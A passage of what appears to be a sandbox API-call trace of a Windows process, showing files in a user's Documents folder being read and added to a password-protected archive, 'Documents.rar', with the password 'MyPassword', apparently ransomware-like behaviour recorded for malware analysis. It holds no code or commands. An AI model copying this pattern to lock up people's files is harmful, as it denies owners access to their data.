lpNumberOfBytesRead=0x1cd8f0*=0x2383, lpOverlapped=0x0) returned 1 [0068.822] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a23c3, nNumberOfBytesToRead=0xfdc7d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a23c3*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.822] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657d0, Size=0x48) returned 0x39db40 [0068.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.822] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657d0, Size=0x48) returned 0x39daf0 [0068.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65800 | out: hHeap=0x2e0000) returned 1 [0068.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657d0 | out: hHeap=0x2e0000) returned 1 [0068.822] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657a0, Size=0x51) returned 0x3b5b210 [0068.822] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x8d) returned 0x3b696e0 [0068.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b696e0 | out: hHeap=0x2e0000) returned 1 [0068.822] GetTickCount () returned 0xa677d1 [0068.822] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14416287630) returned 1 [0068.823] GetTickCount () returned 0xa677d1 [0068.823] GetTickCount () returned 0xa677d1 [0068.823] GetTickCount () returned 0xa677d1 [0068.823] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.823] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.823] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.823] ResetEvent (hEvent=0x1a4) returned 1 [0068.823] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.823] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.823] ResetEvent (hEvent=0x1a4) returned 1 [0068.823] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.824] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.824] GetTickCount () returned 0xa677d1 [0068.824] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14416459251) returned 1 [0068.824] GetTickCount () returned 0xa677d1 [0068.824] GetTickCount () returned 0xa677d1 [0068.824] GetTickCount () returned 0xa677d1 [0068.824] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.824] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.824] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.824] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.824] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.824] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x389f47 [0068.824] SetFilePointer (in: hFile=0x198, lDistanceToMove=139, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x389fd2 [0068.825] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.825] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.825] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.825] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.825] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x23c0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x23c0, lpOverlapped=0x0) returned 1 [0068.825] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.825] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.825] SetFilePointer (in: hFile=0x198, lDistanceToMove=3710791, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x389f47 [0068.825] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x389f47 [0068.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.825] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657d0, Size=0x48) returned 0x39daf0 [0068.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.825] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657d0, Size=0x48) returned 0x39db40 [0068.825] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.825] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.825] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65800 | out: hHeap=0x2e0000) returned 1 [0068.825] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657d0 | out: hHeap=0x2e0000) returned 1 [0068.825] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657a0, Size=0x51) returned 0x3b5b210 [0068.825] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x8d) returned 0x3b696e0 [0068.825] WriteFile (in: hFile=0x198, lpBuffer=0x3b696e2*, nNumberOfBytesToWrite=0x8b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3b696e2*, lpNumberOfBytesWritten=0x1c82c0*=0x8b, lpOverlapped=0x0) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.826] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8b) returned 0x21ffec0 [0068.826] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.826] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b696e0 | out: hHeap=0x2e0000) returned 1 [0068.826] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x38c392 [0068.826] CloseHandle (hObject=0x1b0) returned 1 [0068.826] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.826] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.826] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.826] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.826] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\4bPCYUxUkyRXz1a.odt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.826] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.826] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\4bPCYUxUkyRXz1a.odt" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\4bpcyuxukyrxz1a.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.826] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.826] GetTickCount () returned 0xa677d1 [0068.826] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.826] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.826] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.826] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.826] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="jBnkdFwHfylWaZ6YaRt.ods") returned 23 [0068.826] SetWindowTextW (hWnd=0x10280, lpString="4bPCYUxUkyRXz1a.odt") returned 1 [0068.826] GetTickCount () returned 0xa677d1 [0068.826] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.826] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.827] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.827] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.827] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1ac)) [0068.827] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.827] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14416743006) returned 1 [0068.827] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x4eda, lpOverlapped=0x0) returned 1 [0068.828] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a4f1a, nNumberOfBytesToRead=0xfb126, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a4f1a*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.828] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65800, Size=0x48) returned 0x39db40 [0068.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.828] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65800, Size=0x48) returned 0x39daf0 [0068.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65830 | out: hHeap=0x2e0000) returned 1 [0068.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65800 | out: hHeap=0x2e0000) returned 1 [0068.828] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657d0, Size=0x48) returned 0x39db40 [0068.828] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x83) returned 0x3a3910 [0068.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.828] GetTickCount () returned 0xa677d1 [0068.828] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14416860468) returned 1 [0068.828] GetTickCount () returned 0xa677d1 [0068.828] GetTickCount () returned 0xa677d1 [0068.828] GetTickCount () returned 0xa677d1 [0068.828] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.828] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.828] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.829] ResetEvent (hEvent=0x1a4) returned 1 [0068.829] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.830] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.830] ResetEvent (hEvent=0x1a4) returned 1 [0068.830] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.831] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.831] GetTickCount () returned 0xa677e0 [0068.831] GetLastError () returned 0x0 [0068.831] SetLastError (dwErrCode=0x0) [0068.831] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.831] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.831] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.831] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.831] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14417116890) returned 1 [0068.831] GetTickCount () returned 0xa677e0 [0068.831] GetTickCount () returned 0xa677e0 [0068.831] GetTickCount () returned 0xa677e0 [0068.831] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.831] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.831] GetFocus () returned 0x0 [0068.831] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.831] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.831] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.831] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.831] ResetEvent (hEvent=0x190) returned 1 [0068.831] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.831] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.831] ResetEvent (hEvent=0x190) returned 1 [0068.831] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.832] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.832] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.832] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.832] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x38c392 [0068.832] SetFilePointer (in: hFile=0x198, lDistanceToMove=128, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x38c412 [0068.832] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.832] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.832] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.832] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.832] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x4f40, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x4f40, lpOverlapped=0x0) returned 1 [0068.833] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.833] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.833] SetFilePointer (in: hFile=0x198, lDistanceToMove=3720082, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x38c392 [0068.833] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x38c392 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.833] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65800, Size=0x48) returned 0x39daf0 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.833] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65800, Size=0x48) returned 0x39db40 [0068.833] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.833] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.833] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65830 | out: hHeap=0x2e0000) returned 1 [0068.833] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65800 | out: hHeap=0x2e0000) returned 1 [0068.833] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657d0, Size=0x48) returned 0x39daf0 [0068.833] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x83) returned 0x3a3910 [0068.833] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x80, lpOverlapped=0x0) returned 1 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.833] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x80) returned 0x3a3ac0 [0068.833] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.833] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.833] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x391352 [0068.833] CloseHandle (hObject=0x1b0) returned 1 [0068.833] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.833] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.833] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.833] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.833] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\4fPI cdQ5b.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.833] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.833] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\4fPI cdQ5b.csv" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\4fpi cdq5b.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.833] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.833] GetTickCount () returned 0xa677e0 [0068.833] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.834] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.834] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.834] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.834] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="4bPCYUxUkyRXz1a.odt") returned 19 [0068.834] SetWindowTextW (hWnd=0x10280, lpString="4fPI cdQ5b.csv") returned 1 [0068.834] GetTickCount () returned 0xa677e0 [0068.834] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.834] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.834] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.834] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.834] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1b3)) [0068.834] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.834] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14417471387) returned 1 [0068.834] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x4d2b, lpOverlapped=0x0) returned 1 [0068.835] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a4d6b, nNumberOfBytesToRead=0xfb2d5, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a4d6b*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65800 [0068.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65830 [0068.835] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65830, Size=0x48) returned 0x39db40 [0068.835] RtlAllocateHeap 